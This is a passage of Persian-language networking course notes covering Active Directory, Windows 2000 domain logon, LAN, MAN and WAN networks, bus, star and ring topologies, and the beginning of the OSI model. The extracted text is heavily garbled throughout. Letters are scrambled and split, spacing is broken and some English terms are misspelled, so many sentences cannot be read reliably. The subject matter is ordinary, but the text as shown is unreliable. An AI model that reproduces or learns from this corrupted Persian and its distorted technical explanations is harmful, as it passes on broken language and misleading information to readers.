  است ی متعددی هایژگی ویدارا Active Directory . خواهند بود ها ، ل ها و چاپگریر فايه نظک منابع شبیاب یانک قادر به میسادگ

:  

 
Active Directory یا را فراهم م ي از اشی حجم بالائیره سازيان ذخکام هک خواهد شد یی به بخش هایتورکری دای، باعث سازمانده 

ب کب، امين ترتیبد . سازمان ، خواهد بودیک، همزمان با رشد  Active Directory فوق ، توسعه یژگیدستاورد و. آورد  ه کان رشد ش
   . هم خواهد شد فرایون ها شيليس دهنده و می با هزاران سرویه اکبه شب یصد شیکمتر از کس دهنده و ی سرویک با صرفا یا

 
Active Directory  ،ا اش    ع اطلاعات دری و توزیز بمنظور جمع آورکان متمرک م یک ب  يرابطه ب اربران، ک ه شامل  کا موجود در ش

   .ردکافتن و استفاده از اطلاعات را آسان خواهد یان کام ها بوده و گروهها و چاپگر

  

تفاده از   نه تحقق آني و زمیني بشي، پ Active Directory  در ارتباط بایتير امنيتداب ا اس ت  کو  Log on ب رل دس ه اش  یابينت ا موجود  ي ب
ا  یریه قادر به مدکشب رانی، مد) ه ک شبیکبه  log on یک( ه کند ورود به شبیپس از فرآ.  گردد یم ، فراهمیتورکریدر دا  یت داده ه

   .خواهند آورد  بدستیانکه را از هر مکشب  به منابع موجود دریبايان دستکز اميد شده نيتائ اربرانک.  گردند ی میتورکریموجود در دا

 

  Active Directory یایمزا ●
  

  : ر استی زیای مزای، دارا Active Directory استفاده از
  

مربوط  ینه هایهز: نه فوق شامل یهز.  گردد یمرتبط م وتر،يامپک یکت کينه مالیپارامتر فوق به هز. ت کينه مالیاهش مجموع هزک-١
زار است    ی فنیباني،پشت  ، آموزشیبه نگهدار رم اف زار و ن ا Active Directory .  ، ارتقاء سخت اف ا باعث    ي سیاده ساز ي پ ، ب است ه

 هک آورد یان را فراهم مکن امی، ا Active Directory همراهه است بي سیک یريارگکب.  گردد ی فوق ،مینه های از هزیاهش برخک
 و نصب برنامه یربنديکب زمان مربوط به پين ترتیبد . ، انجام شودیزکان مرک میکنصب برنامه ها ، از   وط مربوطهي محیربنديکپ

   . ردکدا خواهد ياهش پک، وتريامپک هر یها بر رو

 
د-٢ ذیریم ا. ر یت انعطاف پ د ه ازمانیواح اسیرا م Domain یک درون ی س ر اس وان ب ايس  ت ود دریاست ه  Active  موج

Directory ب ییت بخش هایریاربران خاص بمنظور مدکف یان تعرک ،امیسازمان یب ، واحدهاين ترتیبد. م نموديقس، ت ه ک خاص از ش
   . آورندیبدست م را

  Scalability   با استفاده از Active Directory ا  ی برایتورکری دایها سیان استفاده از سروک، ام اوت،    یی سازمان ه اد متف ا ابع  ب
   .  گرددیفراهم م
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ت منابع یریه، با استفاده از آنان قادر به مدکران شبیمد هک را ارائه ی خاصیتیری مدی ابزارها Active Directory  تیریل در مديتسه

   .خواهند بود هکموجود در شب

  

ب یک  به یابي دست-۴ دوز  یه وک ش را ٢٠٠٠ن ابع تعر  ی ب تفاده از من ب  ی  اس د یست فرآی  بایاربران م ک  ه،کف شده در ش ال   Log on ن را دنب
ان را بوجود   ين اطمی ا ند فوق ،یفرآ. رد کد خواهد ياربر را تائک یکت ی اعتبار و هو٢٠٠٠ندوز ی، و Log on ندیدر زمان فرآ. ند ینما ن

ب يامپک  یک ی منابع موجود بر رویابيقادر به دست د شده،ياربران معتبر و تائکه صرفا کخواهد آورد  ود   کوتر در ش د ب از  پس . ه ،خواهن
ه س  کدر تمام شب نه استفاده از منابع موجوديه ،زمکند ورود به شبیز فرآيت آميمام موفقات ا  يه با توجه ب راهم م   ی  تعریاست ه  یف شده، ف

دوز  ی بر ویه مبتنک شبیک به منابع در یابي دستیبرا اربرانک. گردد  ه  ٢٠٠٠ن د داشت  ي ن ، Account یک  ، ب ،  Account . از خواه
 باشد ،   Memeber Domain یک وتر يامپک ه يکدر صورت . نام و رمز عبور است  اربر بوده و شاملک یک شامل اطلاعات مرتبط با

Account  انکاربر، امکمربوط به log on  ه  ای  و یوتر بصورت محليامپکنمودن به ه هر دو     ) Domain ب ا ن راهم و زم ) ام ه  يرا ف ن
ابع موجود در    تفاده از من ب  اس ا    کش ه مجوزه ا توجه ب د شد     ی ر تعیه ب راهم خواه  یک  از یوتر عضو يامپک  هيکدر صورت . ف شده ، ف

Workgroup   ، باشدAccount  انک مربوطه ، ام Log on   ه   ک نمودن راهم م  یوتر محل يامپک اربر را صرفا ب  چون . ( دی  نمای، ف
Account  ر رو  ک ات ک بان یاربر صرفا ب ان  یت ي امنی اطلاع را ) . است   ره شده ي  ذخیوتر محل يامپک  هم ه   وریب  Domain یک ود ب

دنبال آن از ک اربر بوده کنام فوق، شامل نام .ند ی وارد نمایرا بصورت خاص ست ، نام خودی بایاربران مک ، ٢٠٠٠ندوز یو تر کاراک  ه ب
کو @  تفاده می سوند اس رددی پ وق، .  گ سوند ف ه ا Domainپ تیمربوط ر رو account هک  اس ود داردیب  .  آن وج

User1@Citys.com است نهين زمی در اینمونه ا .  

  

  هکورود به شب ●
  

د یفعال م بصورت همزمان فشرده و CTRL+ALT+DELETE یدهايلک ، ٢٠٠٠ندوز ی ورود به ویبرا ال نمودن    .  گردن پس از فع
ام  کورود به شب ندیپ نام و رمز عبور در محل مربوطه ، فرآیبا تا.  گردد یندوز فعال میو  ورود بهی فوق جعبه محاوره ایدهايلک ه انج

ا یک ست به هر يمربوطه در ل Domain ای و ی محلیوترهايامپک ی نمودن بررويکلک توان با یدر ادامه م. خواهد شد  log on  از آنه
   .نمود

 

  Network Membership مشاهده ●
  

ه محاوره ا   یه، مکپس از ورود به شب تفاده از جعب وع عضو   System Properties ی توان با اس ب ی، از ن اه کت در ش : رد ک دا ي  پیه آگ
   : ديرا دنبال نمائ ریمراحل ز System Properties ی به جعبه محاوره ایابي دستیبرا . Workgroup یکا یو  Domain یک

ه  يکلک MyComputer ونیک آیبر رو Desktop قیاز طر وده و در ادام ررو   سمت راست نم ه ی گزیب . دي  نمائيک لک Properties ن
ر رو . است   Tab  پنجیدارا ، System Properties یجعبه محاوره ا ردد    يک لک Network Identification یب ا مشخص گ  هک  ت

 . تعلق دارد Workgroup ایو  Doamin یکوتر مورد نظر به يامپک
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 ٢٠١    صفحه

  

 

  
  شبکه اترنت

  
ت ایابيدس ا روش ه ه اطلاعات ب الا ی ب ا سرعت ب ئن و ب وز موفقیکی مطم ازمان و موسسه است ي از رم الیط. ت هر س ر يان اخي س

 از اطلاعات  یائی ه دری با تغذ. ره شده انديوتر ذخيامپک سازمان بوده ، در     یک ی اطلاعات با ارزش برا    یه حاو کاغذ  کهزاران پرونده و    
 اطلاعات ک نقاط جهان قادر به اشترا    یاربران متفاوت در اقص   ک.  شده است      اطلاعات فراهم  يکیترونکت ال یریان مد ک ام  وتر ، يامپکبه  

  .  گذارندیش می را به نمای اطلاعاتیارک و همیاريبا از همی زیریبوده و تصو
  
اء م  ی را ایار مهميل به اهداف فوق نقش بس   ين راستا و جهت ن    ی در ا  یوتريامپک یه ها کشب د ی نمایف ال ک نترنت  یا.ن ر یه ع ور  ی ت  یک ن تبل
س  ي  در سطح جهان است، امروزه در مق         یوتريامپکه  کشب سترده ا   ياس ب دگان اطلاعات ،      ا یار گ ه دهن تفاده شده و ارائ ا ی  اطلاعات و   س

رار م   نندگانکار استفاده يا خدمات در اخت  ی و   یدي خود را در قالب محصولات تول      ی اطلاعات یفرآورده ها  د ی ق ال ک وب .  دهن ر یه ع ن ی ت
  .ندینما... د، آموزش ، مطالعه و یا اقدام به خري نقاط دنیه در اقصک سازد یاربران را قادر مک باشد ینترنت می ایس خدماتیسرو

  
ه ا    یا. گر است     یوتر د يامپک افت اطلاعات از     ی و در   وتر قادر به ارسال   يامپک یکه،  کبا استفاده از شب    ب یک  از ین ي ع ینترنت نمون ه ک ش

د      یدیک نقاط جهان به     یوتر در اقص  يامپکون ها   يليه م کن شب یدر ا .  است   یوتريامپک ب   یا.گر متصل شده ان ر       یه ا کنترنت ش شتمل ب  است م
بیره ايزنج اک از ش ب. است  ترکوچک یه ه اکنقش ش راکوچک یه ه صوی ای ب اد ت ام ایریج ا ن سی ب ائز اهمينترنت ب . ت است يار ح
اه     که هر   ک یریتصو شده خود را در آن پ           ک اربر با نگ ه آن گم د    ي ردن ب ه بررس   ی در ا. ردک دا خواه ب ین بخش ب ا ک ش  و یوتريامپک  یه ه
  .م داشت ي اطلاعات خواهيکیترونکت الیری اطلاعات و مدینولوژکنه تيزمگاه مهم آنان در یجا
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 ٢٠٢    صفحه

  شبکه های محلی و شبکه های گسترده 
  
ا      ی  از ا  یکی.  شده اند  یم بند ي تقس ی متفاوت ی بر اساس مؤلفه ها    یوتريامپک یه ها کنون شب کتا ه ه ب  یک  "  یائي حوزه جغراف  " ن مؤلف ه ک ش

ر هم  . است   ب  يب ا کن اساس ش ه دو گر   ه ه ده   ب س ) Wide area network(WANو ) LAN)Local area networkوه عم  یم م يتق
ب  . گردند ا  کدر ش ا     ی مجموعه ا   LAN یه ه ه   یک ر ي  محدود، نظ یائي  حوزه جغراف  یک  موجود در    ی از دستگاه ه گر یدیک  ساختمان ب

د ب    کيگر یدیکه از  ک دستگاه   ی تعداد WAN یه ها کدر شب .  گردند   یمتصل م  ا فاصله دارن د شد   یدیک ه لومتره ثلا . گر متصل خواهن "  م
ند، م     اطلاعات ک باشند، قصد اشترای مستقر م  یه از شهر بزرگ   ي ناح یک در   یکه هر   کتابخانه  کاگر دو    ب ی  بای را داشته باش ه کست ش

وان از ام یتابخانه فوق مک اتصال دو   یبرا. گر متصل نمود  یدیکتابخانه ها را به     کجاد و   ی ا WAN یا ابرات  ک ت ات مخ اوت  متیان ر ي  نظیف
ا رشد و   .  باشندی میشتري سرعت ب ی دارا WAN یه ها ک نسبت به شب   LAN یه ها کشب. استفاده نمود ) Leased (یخطوط اختصاص  ب
تگاهها عه دس ابراتیتوس اوت مخ بي می متف اکزان سرعت ش ود پيي ، تغWAN یه ه ا ب.  است  ردهکدا ير و بهب روزه ب  و یريارگکام

د،  یده یک  نسبت ب ی طولانیه در مسافت هاک متعدد یان ارتباط دستگاههاک امLAN ی هاهک در شب یبر نور ياستفاده از ف   رار دارن   گر ق
  .فراهم شده است 
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 ٢٠٣    صفحه

  تقسيم بندی شبکه ها 
  
د  ين تقس ی متداولتر  از یدر ادامه به برخ   . ندی نما ی م یم بند ي تقس ی متفاوت ی را بر اساس مؤلفه ها     یوتريامپک یه ها کشب. ا  یم بن  موجود   ی ه

  .  گردد یاشاره م
  

ا     ک موجود در شبیوترهايامپک. ف ی بر اساس نوع وظایم بند يتقس●  وع وظ ه ن ا توجه ب ده     یه را ب روه عم ه دو گ س یسرو : ف مربوطه ب
ا  یوترها سرويامپکر ی سایراه بکه ک در شبییها وتريامپک. ندی نمایم م يتقس) Clients(رندگان  يس گ یا سرو یو  ) Servers(دهندگان   س ه
ا یه از خدمات و سرو ک ییها وتريامپک.  گردندیده مينام س دهندهیند ، سرو ی نما ی را ارائه م   یو خدمات  ه شده توسط سرو    یس ه س ی ارائ

  .  شوند یده ميرنده ناميس گینند ، سروک یدهندگان استفاده م
  

ب  ا کدر ش ب يامپک  یک ، Client-Server یه ه وان سرو   یه نمکوتر در ش م بعن د ه وان سرو  ی توان م بعن ده و ه ده ، ا يس گیس دهن ایرن  یف
  .دیفه نمايوظ

  
  . دیفه نماي وظیفایرنده ايس گیس دهنده و هم بصورت سروی تواند هم بصورت سرویوتر ميامپک یک ، Peer-To-Peer یه هاکدر شب

  
  :ل شده است کير تشی زین حالت از اجزایدر ساده تر  LANه ک شبیک

  
وان سرو    ی  با یوترها م يامپک از   یکیحداقل  . وتر باشد يامپک تواند شامل چند صد      یه م ک شب یک . یوتر شخص يامپک دو   - ده  یست بعن س دهن

  ستم عامل ي  س یه هسته اساس    ک  است   یوتريامپکس دهنده،   یسرو).  باشد   Client-Serverه از نوع    که شب يکدر صورت . ( مشخص گردد 
   .  آن نصب خواهد شدیبر رو

  
ائ  کر  يه نظ کارت شب ک.  هر دستگاه  یبرا) NIC(ه  کارت شب کدد   ع یک - را ک  است  یارت ه ودم و صدا در   یه ب تفاده م  يامپک  م  یوتر اس

ب      یره ساز ي و ذخ  یافت ، انتقال ، سازمانده    یه مسئول در  کارت شب ک  .گردد ا    . ه است    ک موقت اطلاعات در طول ش ام وظ ف یبمنظور انج
  افظه و  پردازنده ، حیه داراک شبیارت هاکفوق 

  .  خود هستندیگذرگاه اختصاص
  
وژ .  شودیده مي نامیوترها ، توپولوژيامپک استفاده شده جهت اتصال     ی هندس یالگو . ی بر اساس توپولوژ   یم بند يتقس●    انتخاب  یتوپول

ود  کشف و برطرف نمودن خطا در شب     ک مهم در جهت     یه ها، عامل  ک شب یاده ساز ي پ یشده برا  د ب وژ  توپیک انتخاب  . ه خواه  خاص  یول
ا  ي تواند بدون ارتباط با مح  ینم ال و روش ه ردد    یط انتق تفاده از خط مطرح گ وژ  .  اس وع توپول اب ین ه   يامپک جهت اتصال   ی انتخ ا ب وتره
 در نوع ی انتخابیم توپولوژير مستقيبا توجه به تاث.  گذاردیر مي استفاده از خط تاث  یط انتقال و روش ها    يبر نوع مح  "  مايگر ، مستق  یدیک
 جهت  یعوامل مختلف  . ه همت گماشت ک شبیک یست با دقت و تامل به انتخاب توپولوژ      ی با ی آن ، م     مربوط به  ینه ها ی و هز  یشکل  ابک

  : ل است ین عوامل بشرح ذین ایمهمتر.  شودینه مطرح مي بهی توپولوژیکانتخاب 
  
ب    ي ست عمل ی با یت م  ی  انتخاب گردد، در نها    LANه  ک شب یه برا کط انتقال   يهر نوع مح  . نه  ی هز - اده ي  ساختمان پ   یک ه در   کات نصب ش

ا  ک جهت نصب    ی طولان یندیات فوق فرآ  يعمل.  گردد یساز ه      یانال ه ور          ک مربوطه ب ا و محل عب ل ه ا در ساختمان است     کاب ل ه در . اب
ل از تصرف و ب   ی  با ی مربوطه م  یانال ها کجاد  ی ا   و یشکابل  کده آل   یحالت ا  ه با   یريارگک ست قب ام گرفت  یبهرحال م  . شد  ساختمان انج

  .نه گردديه بهکنه نصب شبیست هزیبا
  
د . ط است  ي مح یکع گره ها در    ی و توز  ی پردازش داده ها و گستردگ     ی ، توانائ  LAN یه ها ک شب یای از مزا  یکی . یری انعطاف پذ  - ن یب

بات   يترت ابع موجود در اخت       ي  س یب توان محاس تفاده    ي ستم و من ام اس د گرفت     کار تم رار خواه دگان ق ه چ در . نن د  يي ز تغي ادارات هم ر خواه
وژ ... ) .  اتاقها و     ،یلوازم ادار .( ردک اب  یتوپول ادگ ه  ست ب  ی  با ی م  ی انتخ د يکر پ يي ان تغ ک  ام یس ب   یربن راهم نما    ک در ش ثلا . دی ه را ف "  م
  .م يه باشکد در شبیستگاه جدی ایکجاد یا قادر به ایگر انتقال و ی به نقطه دی را از نقطه ایستگاهیا
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 ٢٠٤    صفحه

  پولوژی های رايج در شبکه تو
  

  : گردد ی استفاده مLAN یه هاکج در شبی رایسه نوع توپولوژ
  

 BUS 
 

 STAR 
 

 RING 
 
  

   : BUS توپولوژی
  

ب یاده سازي پی ها براین توپولوژیجتری از رایکی ا ک ش وق از   . است   LAN یه ه دل ف رات اصل     ک یک در م وان ستون فق ل بعن  در یاب
   . گردندیبه آن متصل م) رنده يس گیس دهنده ، سرویسرو( ه ک موجود در شبیوترهايامپک ه استفاده شده و تمامکشب

  
  

   BUS ی توپولوژیایمزا
  
ام      یکل استفاده از    يدله  ب. ابل  کم بودن طول    ک - ال جهت اتصال تم وژ  يامپک خط انتق ا ، در توپول وق از  یوتره ل  ک ف تفاده م  یم کاب  ی اس

  . ه خواهد بودک شبیبانيلات لازم در جهت پشتيجاد تسهی نصب و انهین آمدن هزیيموضوع فوق باعث پا.شود
  
را   ک یکاز  "  در مدل فوق صرفا   .  ساختار ساده است     یک ی دارا BUS یتوپولوژ.  ساختار ساده    - ل ب تفاده م     یاب ال اطلاعات اس  ی انتق

  .شود
  
شتر در ي بیستگاههایدر صورت اضافه شدن ا. ردک ه اضافهک از شبی در نقطه ای توان براحتید را میوتر جديامپک یک.  توسعه آسان -

  . ردک استفاده Repeater به نام ییننده هاکت ی توان از تقوی سگمنت ، میک
  
   BUS یب توپولوژیمعا

  
تباه را     ک ام BUS یولوژپ موجود در تو   یه سادگ کنیبا ا  . یابیب  يل بودن ع  ک مش - روز اش د، ول  یاهش م ک ان ب روز   ی دهن  در صورت ب

وده  ی زک مریه در هر گره داراکنترل شب کند ،   ی نما ی فوق استفاده م   یه از توپولوژ  ک ییه ها کدر شب . ن ساده نخواهد بود   شف آ کخطا   ت نب
  .  گردندید و بررسیص خطا بازدي بمنظور تشخیادیست نقاط زی بایو در صورت بروز خطا م

  
 یوتر را در محل يامپک ست ی  بایل گردد ، مکوق دچار مش  ف یوتر در توپولوژ  يامپک یکه  يکدر صورت . ل است   کردن خطا مش  کزوله  ی ا -
الت . ردکه جدا ک گره را از شبیک توان یدر موارد خاص م. ب نموديه متصل است رفع ع   که به شب  ک ال  يال در مح که اش ی ک در ح ط انتق

  . ه خارج گرددکست از شبی بای سگمنت میکباشد ، تمام 
  
ب   ک گردد، ممیننده ها استفاده م کرارکه از تک توسعه شبیه برایکدر موارد . ننده ها    ک رارکت ت ي ماه -  یرات ييه تغکن است در ساختار ش
  .ه است کشتر و اضافه نمودن اتصالات مخصوص شبيابل بک یريارگکموضوع فوق مستلزم ب. ز داده شودين

 
  

   : STAR توپولوژی
  

تاره "ه ي شبیه از نام آن مشخص است ، از مدلک همانگونه ین نوع توپولوژیدر ا تفاده م   "س ردد یاس ام   ی در ا.  گ دل تم ا يامپکن م  یوتره
   .متصل خواهند شد" هاب "  با نام  خاص  دستگاهیکبه "  ه معمولاکموجود در شب

  
  
   

   STAR ی توپولوژیایمزا
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 ٢٠٥    صفحه

وق تغ یژگ یو.  است  یزک نقطه مریک در ی از نقاط اتصالی شامل تعدادSTAR یتوپولوژ. ه  کس شب ی سرو ی سادگ - در ساختار  ر يي  ف
  . دی نمایه را آسان مک شب سیو سرو

  
وژ . ال هستند  ک مستعد اش    ه ذاتاً ک در شب  ینقاط اتصال . دستگاه  یک   در هر اتصال     -  اتصال ، باعث   یک ال در ک اش  STAR یدر توپول

اث  ي عمل.  خط مزبور است   ییال زدا کس و اش  یه و سرو  ک از شب   خروج آن خط   وق ت ا ک  در عملیريات ف ا وتيامپکر یرد س  موجود در  یره
  .ه نخواهد گذاشت کشب
  
الات که متصل است ، اش   کستگاه موجود در شبیما به هر اي مستق یزک مر ه نقطهکن مسئله یبا توجه به ا . یابیب  ي و ع  یزکنترل مر ک -
  . دی و مهار خواهند گرد صي تشخیسادگه ه بکرادات در شبیو ا
  
انب    یک  و   یزک  نقطه مر  یکل  ه شام کهر اتصال در شب    . یابي ساده دست  ی روش ها  - ره ج الت  يدر چن  .  است    ی گ ت  ین ح ه مح    یابي دس ط ي ب

  .  ساده خواهد بودیتمی الگوریافت اطلاعات دارایهت ارسال و درجانتقال 
  
   STAR یب توپولوژیمعا

  
ا .  شودیابل مصرف مک یادی ، مقدار ز   یزکم هر گره به نقطه مر     يل اتصال مستق  يدله  ب. ابل  کاد بودن طول    ی ز - ه ا  ب ه  یه هزک نی توجه ب ن
شت           ک جهت   یشکانال  کم در   کم است ، ترا   که ،   کابل نسبت به تمام شب    ک ه نصب و پ وط ب وجه    ینابيابل ها و مسائل مرب ل ت ا بطور قاب  ی آنه
  . ش خواهد دادینه ها را افزایهز
  
ا ا . د است    یگره جد  به   یزک اتصال از نقطه مر    یکه مستلزم   کد به شب  ی گره جد  یکاضافه نمودن   . ل بودن توسعه    ک مش - ان  ک نیب ه در زم
ورد   ک از یادی ه طول ز يک ر زماني  حالات نظ ی در برخ ی شود ، ولی لازم جهت توسعه در نظر گرفته می هاینيش بي پ یشکابل  ک ل م اب
  . ردکل مواجه خواهد که را با مشکه ، توسعه شبي اولینيش بير قابل پي غی از گره هایا اتصال مجموعه ایاز بوده و ين
  
ب    که با مشکدر شب) هاب  ( یزکه نقطه مريکدر صورت . یزک به نقطه مر یوابستگ - ام ش د    يه غکل مواجه شود ، تم تفاده خواه ل اس رقاب

  . بود
 

  :  RING توپولوژی
  

د یگر مرتبط م یدیک حلقه به یکوترها بصورت يامپک تمام ین نوع توپولوژیدر ا ام   . گردن ا يامپکتم ب  یوتره س یسرو ( ه ک موجود در ش
سته است ، متصل م    ی  دایک بصورت  هکابل ک یکبه ) رنده يس گینده ، سروده د یره ب وق  .  گردن دل ف ط دو     در م ه دو و فق ره ب   هر گ

ط در   یبنابرا. شوند ی ارسال میافت و به گره بعدیاطلاعات از گره مجاور در. ه مجاور خود متصل است یهمسا ا فق  جهت  یک ن داده ه
   .نندک یدا ميانتقال پ گریتگاه دسی به ایستگاهیرده و از اکت کحر

  
   

   RING ی توپولوژیایمزا
 
دل ب   ی ه در ا  ک  یابلکطول  . ابل  کم بودن طول    ک - ه م    ک ن م ل مقا      یار گرفت وژ    ی  شود ، قاب ه توپول وده و طول   BUS یسه ب  را در یم ک نب

  . ش خواهد دادیه را افزاک شبب اعتماد بهیه شده و ضرکدر شب) تورکانک( اهش تعداد اتصالات ک فوق باعث یژگیو. بردارد
   
سا      ک یکل استفاده از    يبدل. نخواهد بود  یشکابل  ک خاص جهت انشعابات در      یاز به فضائ  ي ن - ره هم ه گ ره ب ه اش ، یابل جهت اتصال هر گ

  .  نخواهد داشت ی ضرورتیشکابل ک خاص بمنظور ییاختصاص محل ها
  
 فوق ی چون در توپولوژ .ه استکبالا رفتن نرخ سرعت انتقال اطلاعات در شب باعث یبر نورياستفاده از ف . یبر نوري مناسب جهت ف  -

وان در هر بخش    یل م ی در صورت تما.ردکط انتقال استفاده ي بمنظور محیبر نوري توان از ف ی جهت است ، م    یک داده ها در     يکتراف  ت
ا يمثلا در مح. رد کط انتقال استفاده   يابل بعنوان مح  ک نوع   یکه از   کشب از ا  یادرا یط ه دل ه ه از ف کط ي و در مح ی مس ی از م ر  يارخان ب
  . ردک استفاده ینور

  
  RING یب توپولوژیمعا

  
ب   یکال در کدر صورت بروز اش.  گردد یه م کال در تمام شب   ک گره باعث اش   یکال در   ک اش - ام ش ره ، تم ا اش  ک گ د   که ب ال مواجه خواه
  . توان داشت یه نمک شبی را روی اطلاعاتيک ترافچگونهيه خارج نگردد ، هکوب از شبيه گره معيکو تا زمان. شد
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 ٢٠٦    صفحه

  
ره م    یک ال در   کبروز اش . ل است   ک مش ییال زدا ک اش - د رو   ی گ ره    ی توان ام گ ا   تم اث   ی د یه ذار باشد  يگر ت  ی م یابی ب ي بمنظور ع . ر گ
  . دا گرددي تا گره مورد نظر پین گره بررسیست چندیبا
  
دل   ک تحت پوشش شب   یائيا اصلاح حوزه جغراف   یش و   در زمان گستر  . ل است   که مش کر در ساختار شب   يي تغ - و  ي ل ماه يه ، ب ب  یت حلق ه ک ش

  . وجود خواهد آمد ه  بیمسائل
  
وژ- ر روی توپول تی ب وع دس اثیابي ن ذاردیر مي ت ب.  گ ره در ش ر گ سئولیه داراکه ور دادن داده اي م اور ک است یت عب ره مج ه از گ
د د     یکه  کنیقبل از ا  . افت داشته است    یدر ره بتوان ه ا   ی  با ید ، م   ی اده خود را ارسال نما       گ ان برسد     ين اطم ی ست ب را    يه مح  ک ن ال ب  یط انتق

  . است یابياستفاده قابل دست
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 ٢٠٧    صفحه

  . تقسيم بندی بر اساس حوزه جغرافی تحت پوشش 
  
  : گردند ی ممي تحت پوشش به سه گروه تقسیائي با توجه به حوزه جغرافیوتريامپک یه هاکشب
  

   LAN ) کوچک ( ی محلیه هاکشب 
   MAN متوسط یه هاکشب 
   WAN گسترده یه هاکبش 

  
  : . LAN یه هاکشب
  

وع از  ی ا.  است  ی ساختمان ادار یک ر ي نظکوچکط ي محیک شود ، یه ها پوشش داده مکن نوع از شب   یه توسط ا  ک یائيحوزه جغراف  ن ن
  : باشند یر می زی هایژگی ویه ها داراکشب
  

   ارسال اطلاعات با سرعت بالایانائتو 
  ت فاصله یمحدود 
  ر خطوط تلفن بمنظور ارسال اطلاعات ي ارزان نظیط مخابراتيت استفاده از محيقابل 
  ن خطا در ارسال اطلاعات با توجه به محدود بودن فاصله یينرخ پا 

  
  : . MAN یه هاکشب
  

وع  ی  ای هایژگیو. ا شهرستان است ی شهر و یکد ، در حد و اندازه  شویه ها پوشش داده مکن نوع شب یه توسط ا  ک یائيحوزه جغراف  ن ن
  :ر است یه ها بشرح زکاز شب

  
   ی محلیه هاکشتر نسبت به شبي بیدگيچيپ 
     و صدا ریت ارسال تصاويقابل 
  ه کن شبین چنديجاد ارتباط بیت ايابلق 

  
  : . WAN یه هاکشب
  

شرح   کن نوع شبی ایژگیو. شور و قاره است ک شود ، در حد و اندازه     یاده م ه ها پوشش د   کن نوع شب  یه توسط ا  ک یائيحوزه جغراف  ا ب ه ه
  :ر است یز
  

  شورها و قاره ها کن يت ارسال اطلاعات بيقابل 
   LAN یه هاکن شبيجاد ارتباط بیت ايبلقا 
   LAN یه هاکن ارسال اطلاعات نسبت به شبیيسرعت پا 
   پوشش محدوده تحتی توجه به گستردگ  بالا باینرخ خطا 
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 ٢٠٨    صفحه

OSI  
  

دی شده و خلاصه خالی از لطف نيست ،                        ه صورت جمع بن ن مبحث ب اره ای تن دوب من قبلا در این باره توضيح دادم ولی چون دیدم گف
  .تصميم گرفتم دوباره در این جا یک یادآوری بکنم 

  
ب ی رایدل ها از میست با برخی بایه م کل در شب  کرد پروت کبمنظور شناخت مناسب نحوه عمل      ار ک ه کج ش ب یه معم شر ک ش  یح م یه را ت

نا گرد  ینما د، آش دل  . دی ن ه ين زمی  مرجع مناسب در ا  یک   )OSI )Open Systems Interconnectionم دل در سال   ی ا.  است   ن ن م
تاندارد ساز    ین الملل  ي سازمان ب   یک ( ISO توسط   ١٩٨۴ ا ب    ی اس ه گرد  )  عضو  ١٣٠ش از   ي ب وق از هفت لا        . دی ارائ دل ف را  ی در م  یه ب
د  یات خاصيت انجام عمليولئه ها مسی از لایکهر.  گرددی مربوط به ارتباطات استفاده م یندهایح فرآ یتشر ده دارن دل  ..  را برعه  OSIم

ب  یکرد  ک با نحوه عمل    ی بمنظور آشنا ئ    . گردد یات مربوط به ارتباطات استفاده م     ي شناخت عمل  ی مرجع و راهنما برا    یکبعنوان   ه ،  ک ش
  .  دهدی را نشان مOSI مدل  هیر هفت لایل زکش. د خواهد بوديل فوق، مفمطالعه مد

   
   
ه و  یکداده ها توسط . رنده انجام خواهد شدي فرستنده و گ  یوترهايامپک مربوطه در    یه ها یق لا یافت اطلاعات از طر   یارسال و در     برنام

ت ک  و با حر    در ادامه .  است   Applicationه  یل داده ها از لا    شروع ارسا  ) .يکیترونکام ال ي پ یکر  ينظ( د خواهند شد    ياربر تول کتوسط  
 ) یکی زيه فی لا( ه ین لایدر آخر.  اضافه خواهد شدی اطلاعاتی به بسته ها ییات مربوطه انجام و داده ها     يه عمل ین، در هر لا   یيبه سمت پا  

ابل کق یل و از طری تبدیوئی رادیگنالهايا سی از نور و یی، پالس هایکیترک الیگنالهايط انتقال استفاده شده ، داده ها به س      يبا توجه به مح   
را    یو   وا ب د شد        يامپک  یا ه ورد نظر    اتي وتر مقصد ، عمل  يامپک افت داده در     یپس از در   . وتر مقصد ارسال خواهن ات ي  عمل وسک مع( م

ام و در نها       ی از لا  یکتوسط هر   ) ارسال   ا انج ا رس    ی ه ه ه لا    يت ب ه، ام یک  کم ه ک و ب  Applicationه  ی دن داده ب تفاده از  ک  برنام ان اس
  .  دهدیند فوق را نشان میر نحوه انجام فرآیل زکش.  فراهم خواهد شد یاطلاعات ارسال

   
   
   
   OSI  یه هایلا  
  

  : گرددیح میه تشریرد هر لاک عمل در ادامه. ل شده است کيه متفاوت تشی از هفت لاOSIد مدل یه اشاره گردکهمانگونه 
  
ا    ی  و   ستم عامل  يسه با   ین لا یا) . Application( ه هفت   ی لا - ه ه اط دارد   یاربردک  یا برنام ا         ک .  ارتب رم افزاره تفاده از ن ا اس  یاربران ب
دن پ ی توانند اقدام به ارسال فایاربران مکمثلا . ه خواهند بودکات مرتبط با شبي متفاوت قادر به انجام عمل یاربردک ام ي ام ارسال پ ي ل خوان

  . ندینما... و 
  
د ی اخذ و آنها را بگونه اApplicationه ی مورد نظر خود را از لایه فوق داده ها   یلا) . Presentation( ه شش   ی لا - د  ی تب رد ک ل خواه
  . ه ها قابل استفاده باشدیر لایه توسط ساک
  
  . اطلاعات است ننده کافت ی و ارتباطات مربوطه با دستگاه دریبانيجاد ، پشتیه فوق مسئول ای لا ) .Session( ه پنج ی لا-
  
ار ی  لا- شت ی لا) . Transport( ه چه سئول پ وق م رل جرک یبانيه ف ا و بررس ینت ا و باز یان داده ه اي اطلاعات ب یابی خط تگاه ه  ین دس

ات يکه فوق در صورت یه لاک است  ین معن ی ، بد   ان داده ها  ینترل جر ک. متفاوت است    د یه اطلاع ه ارسال شده باشد    ی از چن  ، داده  ن برنام
  . قرار داده شوندیکیزيه فکار شبي تا در اخت لی آماده تبدstream یک مربوطه به هر برنامه را به یها
  
ده تع ي دستگاه گیه فوق روش ارسال داده ها برا     یدر لا ) . Network( ه سه   ی لا - ي رن د شد  ي ا ک پروت. ن خواه نگ و  ي ، روت ی منطق یل ه

  . ه انجام خواهد شدین لای در ایآدرس ده
  
وقیدر لا). Data(و ه دی لا- اک ، پروت ه ف یزي فیل ه د یک د ش افه خواهن ه داده اض بین لایدر ا.  ب وع ش ايه و وضعکه ن سته ه  یت ب

  .  گردندین مييز تعين) Packet (یاطلاعات
  
اژ و  اتصالات : ر يه نظک شبیکیزيص فیم با سخت افزار بوده و خصا  يه فوق در ارتباط مستق    یلا) . Physical (یکه  یلا ان را   ، ولت  زم

